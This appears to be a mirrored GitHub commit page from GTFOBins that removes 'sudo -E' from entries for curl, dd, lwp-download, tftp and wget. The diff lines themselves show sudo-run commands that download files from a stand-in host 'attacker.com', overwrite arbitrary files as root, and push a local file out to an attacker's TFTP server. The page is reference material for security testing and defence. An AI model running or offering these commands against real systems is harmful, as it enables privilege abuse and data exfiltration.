mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Remove useless instances of sudo -E
This commit is contained in:
parent
fbd887e91a
commit
9cd6849b8e
@ -28,5 +28,5 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
URL=http://attacker.com/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
sudo -E curl $URL -o $LFILE
|
sudo curl $URL -o $LFILE
|
||||||
---
|
---
|
||||||
|
@ -15,5 +15,5 @@ functions:
|
|||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo "data" | sudo -E dd of=$LFILE
|
echo "data" | sudo dd of=$LFILE
|
||||||
---
|
---
|
||||||
|
@ -15,5 +15,5 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
URL=http://attacker.com/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
sudo -E lwp-download $URL $LFILE
|
sudo lwp-download $URL $LFILE
|
||||||
---
|
---
|
||||||
|
@ -22,6 +22,6 @@ functions:
|
|||||||
- description: Send local file to a TFTP server.
|
- description: Send local file to a TFTP server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
sudo -E tftp $RHOST
|
sudo tftp $RHOST
|
||||||
put file_to_send
|
put file_to_send
|
||||||
---
|
---
|
||||||
|
@ -23,5 +23,5 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
export URL=http://attacker.com/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
sudo -E wget $URL -O $LFILE
|
sudo wget $URL -O $LFILE
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user